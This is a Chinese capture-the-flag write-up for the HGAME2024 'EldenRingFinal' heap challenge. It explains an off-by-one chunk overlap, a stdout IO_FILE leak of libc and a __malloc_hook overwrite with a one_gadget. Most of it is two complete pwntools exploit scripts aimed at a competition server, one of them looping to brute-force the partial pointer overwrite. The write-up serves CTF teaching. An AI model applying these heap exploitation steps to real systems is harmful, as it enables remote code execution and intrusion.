[HGAME2024] Week4-EldenRingFinal - 堆风水+IO_FILE
[HGAME2024] Week4-EldenRingFinal
题目描述
年轻人的第一道IO_FILE题目
结构体比较复杂的heap,看似free函数之后没有清空指针会有uaf漏洞,但是由于chunk之间采用链表链接,取出chunk也就没法遍历到了,所以就相当于清空指针的作用。而且创建指向内容的chunk的chunk在malloc之后也写入了新东西,所以没法直接UAF。

add_note函数在往chunk写入内容的时候有Off-By-One漏洞,因此我们能使用chunk extend来覆盖之后的chunk实现UAF的效果。
但是没有提供show函数,也就没法直接leak libc了。
于是直接打IO_FILE结构体来leak出libc
IO_FILE struct
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
/* We always allocate an extra word following an _IO_FILE.
This contains a pointer to the function jump table used.
This is for compatibility with C++ streambuf; the word can
be used to smash to a pointer to a virtual function table. */
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
可以看到结构体的vtable中存储着一堆的函数指针,据说可以伪造vtable来get shell。
struct _IO_FILE_plus;
extern struct _IO_FILE_plus _IO_2_1_stdin_;
extern struct _IO_FILE_plus _IO_2_1_stdout_;
extern struct _IO_FILE_plus _IO_2_1_stderr_;
#ifndef _LIBC
#define _IO_stdin ((_IO_FILE*)(&_IO_2_1_stdin_))
#define _IO_stdout ((_IO_FILE*)(&_IO_2_1_stdout_))
#define _IO_stderr ((_IO_FILE*)(&_IO_2_1_stderr_))
#else
extern _IO_FILE *_IO_stdin attribute_hidden;
extern _IO_FILE *_IO_stdout attribute_hidden;
extern _IO_FILE *_IO_stderr attribute_hidden;
#endif
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
可以看到_IO_FILE结构体保存的是读写的指针以及flags,可知stdin,stdout,stderr都各有一个这样的结构体。
read write各有ptr end base三个项目,分别表示当前指针,结束位置指针,开始位置指针。
_chain指针就是把这几个结构体和_IO_FILE_all串联起来了。
IO_FILE - 调试
从理论到实践 打开IDA,直接看.bss上面的三个结构体,分别就是stdout,stdin,stderr的结构体

用gdb调试

我们进入stdout结构体的(_IO_FILE)file看一下,就是_IO_FILE结构体了

IO_FILE leak - 利用
我们把_flags修改为0xfbadxxxx,清空read的三个指针,再把write的base指针最低一个字节修改就可以打印从base到ptr的内容
泄露_IO_file_jumps:
payload = p64(0xfbad1800)+p64(0)*3+b"\x58"
泄露_IO_2_1_stdin_:
payload = p64(0xfbad3887)+p64(0)*3+p8(0)
堆风水 + Off-By-One - 利用
首先我们要leak libc,就要把一个chunk申请到stdout结构体那里把stdout给改成对应内容。由于没有libc基址,我们需要采用修改free的unsortedbin的fd的低位的方法实现得到stdout结构体的fake chunk的效果
由于unsortedbin以及small,large bin都是双向链表,我们很难采用这种他们来申请到fake chunk。于是我们就需要用Off-By-One来把这个unsortedbin的size改为0x71并且把它串到0x70size的fastbin链表上面。
这题的chunk的结构相对比较复杂,但是我们如果采用某种方法把存储内容的chunk都放在连续的内存上面,那么Off-By-One就非常容易利用了。
这个过程很简单,不再详述。 之后就是修改下一个chunk的size位,让它覆盖到下一个chunk,为了过prev_inuse(nextchunk)的检测,这里我直接覆盖了两个chunk.
把这个大的chunk free掉,再malloc就可以实现写入下面的堆块的效果了,我们修改下一个chunk(0x71)的fd的低位,使它指向那个unsortedbin,之后再用一次Off-By-One把这个unsortedbin的size改为0x71,这样就能通过fastbin取出chunk的时候关于chunksize和fastbin index的检查了。
这样我们就可以申请到fakechunk并且修改stdout结构体了。
之后我们有了libc基址,就可以接着改fd,申请到hook那里的chunk,从而修改malloc_hook或者free_hook来get shell了
EXP
为了能够在收到EOF的时候继续爆破而不用手动重启脚本,我们把整个exploit过程封装成函数pwn(),之后添加:
while 1:
try:
p=remote('139.224.232.162',30369)
pwn()
except:
p.close()
不知道为什么远程改stdout结构体的时候最后一位\x58的payload无法泄露地址,但是本地两种payload都可以泄露地址。
还有打free_hook的时候fastbin的fake chunk过不去size和idx的检查,但是调试了发现size是0x7f过不去,idx对应的也是0x70,很玄学。被迫打malloc_hook.
#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
pwn = './vuln'
p=remote('139.224.232.162',31524)
# p=process(['./ld-2.23.so', pwn], env={"LD_PRELOAD":'./libc-2.23.so'})
# p=process('./vuln')
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
# puts("1.add a page\n");
# puts("2.delete page\n");
# puts("3.add a note\n");
# return puts("4.delete note\n>");
def add_page():
p.sendlineafter("4.delete note\n>","1")
def dele_page(page):
p.sendlineafter("4.delete note\n>","2")
p.sendlineafter("which page?\n>",str(page))
def add_note(page,size,con):
p.sendlineafter("4.delete note\n>","3")
p.sendlineafter("which page would you like to attach to?\n>",str(page))
p.sendlineafter("size:\n>",str(size))
p.sendafter("content:\n>",con)
def dele_note(page,note):
p.sendlineafter("4.delete note\n>","4")
p.sendlineafter("which page_ID?\n>",str(page))
p.sendlineafter("which note_ID would you like to delete?\n>",str(note))
add_page()
add_page()
add_note(0,0x18,b'a')#1
dele_page(2)
add_note(0,0x18,b'a')#2
dele_page(1)
add_note(0,0x60,b'a')#3 0x71
add_note(0,0x60,b'fzhb'+p64(0xdeadbeef))#4 fast fd
add_page()
add_note(0,0x18,b'a')#5
dele_page(1)
add_note(0,0x80,b'a')#6 libc
add_note(0,0x18,b'a')#7fzhb
dele_note(0,6)
add_note(0,0x80,b'\xdd\x45')#8
dele_note(0,1)
add_note(0,0x18,b'a'*0x10+p64(0)+b'\xc1')#9
dele_note(0,4)
dele_note(0,3)
dele_note(0,2)
add_note(0,0xb8,p64(0)*2+p64(0)+p64(0x71)+b'\x50\x63')#10
dele_note(0,5)
add_note(0,0x18,b'a'*0x10+p64(0)+b'\x71')#11
add_note(0,0x68,b'a')#12
add_note(0,0x68,b'a')#13
add_note(0,0x68,b'\x00'*0x33+p64(0xfbad1800)+p64(0)*3+p8(0))#14 stderr
# p.recv()
# p.recv(0x50)
p.recvuntil(b'\x7f')
# gdb.attach(p)
p.recv(2)
base=u64(p.recv(8))-(0x7fae7abc46a3-0x7fae7a800000)
# base=u64(p.recv(6)+b'\x00\x00')-(0x7fd92ffc46a3-0x7fd92fc00000)
hook=base+0x3C3B10-0x23
one=base+0xf0897
print(hex(base))
print(hex(hook))
print(hex(one))
# hack in page0
dele_note(0,12)
dele_note(0,10)
add_note(0,0xb8,p64(0)*2+p64(0)+p64(0x71)+p64(hook))#15
print(hex(base))
print(hex(hook))
print(hex(one))
add_note(0,0x68,b'a')
add_note(0,0x68,b'\x00'*0x13+p64(one))
# dele_note(0,15)
add_page()
# gdb.attach(p)
p.interactive()
# .bss:00000000003C57A8 ?? __free_hook 0x7fd92fc00000 base+0x3C57A8-0x13
# .data:00000000003C3B10 00 4E 08 00 00 00 00 00 __malloc_hook 0x7fd92fc00000 base+0x3C3B10-0x23
# IO_stdout 0x7f01ac3c4620-0x43 45dd
# 0x230
# 0x4525a execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv
# 0xef9f4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
# [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv
# 0xf0897 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
自动爆破:
#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
pwn = './vuln'
# p=process(['./ld-2.23.so', pwn], env={"LD_PRELOAD":'./libc-2.23.so'})
# p=process('./vuln')
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
# puts("1.add a page\n");
# puts("2.delete page\n");
# puts("3.add a note\n");
# return puts("4.delete note\n>");
def add_page():
p.sendlineafter("4.delete note\n>","1")
def dele_page(page):
p.sendlineafter("4.delete note\n>","2")
p.sendlineafter("which page?\n>",str(page))
def add_note(page,size,con):
p.sendlineafter("4.delete note\n>","3")
p.sendlineafter("which page would you like to attach to?\n>",str(page))
p.sendlineafter("size:\n>",str(size))
p.sendafter("content:\n>",con)
def dele_note(page,note):
p.sendlineafter("4.delete note\n>","4")
p.sendlineafter("which page_ID?\n>",str(page))
p.sendlineafter("which note_ID would you like to delete?\n>",str(note))
def pwn():
add_page()
add_page()
add_note(0,0x18,b'a')#1
dele_page(2)
add_note(0,0x18,b'a')#2
dele_page(1)
add_note(0,0x60,b'a')#3 0x71
add_note(0,0x60,b'fzhb'+p64(0xdeadbeef))#4 fast fd
add_page()
add_note(0,0x18,b'a')#5
dele_page(1)
add_note(0,0x80,b'a')#6 libc
add_note(0,0x18,b'a')#7fzhb
dele_note(0,6)
add_note(0,0x80,b'\xdd\x45')#8
dele_note(0,1)
add_note(0,0x18,b'a'*0x10+p64(0)+b'\xc1')#9
dele_note(0,4)
dele_note(0,3)
dele_note(0,2)
add_note(0,0xb8,p64(0)*2+p64(0)+p64(0x71)+b'\x50\x63')#10
dele_note(0,5)
add_note(0,0x18,b'a'*0x10+p64(0)+b'\x71')#11
add_note(0,0x68,b'a')#12
add_note(0,0x68,b'a')#13
add_note(0,0x68,b'\x00'*0x33+p64(0xfbad1800)+p64(0)*3+p8(0))#14 stderr
# p.recv()
# p.recv(0x50)
p.recvuntil(b'\x7f')
# gdb.attach(p)
p.recv(2)
base=u64(p.recv(8))-(0x7fae7abc46a3-0x7fae7a800000)
# base=u64(p.recv(6)+b'\x00\x00')-(0x7fd92ffc46a3-0x7fd92fc00000)
hook=base+0x3C3B10-0x23
one=base+0xf0897
print(hex(base))
print(hex(hook))
print(hex(one))
# hack in page0
dele_note(0,12)
dele_note(0,10)
add_note(0,0xb8,p64(0)*2+p64(0)+p64(0x71)+p64(hook))#15
print(hex(base))
print(hex(hook))
print(hex(one))
add_note(0,0x68,b'a')
add_note(0,0x68,b'\x00'*0x13+p64(one))
# dele_note(0,15)
add_page()
# gdb.attach(p)
p.interactive()
while 1:
try:
p=remote('139.224.232.162',30369)
pwn()
except:
p.close()
# .bss:00000000003C57A8 ?? __free_hook 0x7fd92fc00000 base+0x3C57A8-0x13
# .data:00000000003C3B10 00 4E 08 00 00 00 00 00 __malloc_hook 0x7fd92fc00000 base+0x3C3B10-0x23
# IO_stdout 0x7f01ac3c4620-0x43 45dd
# 0x230
# 0x4525a execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv
# 0xef9f4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
# [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv
# 0xf0897 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
也许,我们并不需要爆破???
我们爆破是为了让fd指向我们固定的chunk,如果让这个fd原本指向的地址和那个chunk的offset很小,那么我们只需要修改最后一个字节就OK了。 但是这样做增加了堆风水的难度,但是可行的。(把0x30的chunk扔出去,把那几个chunk的size缩小一下就可以了)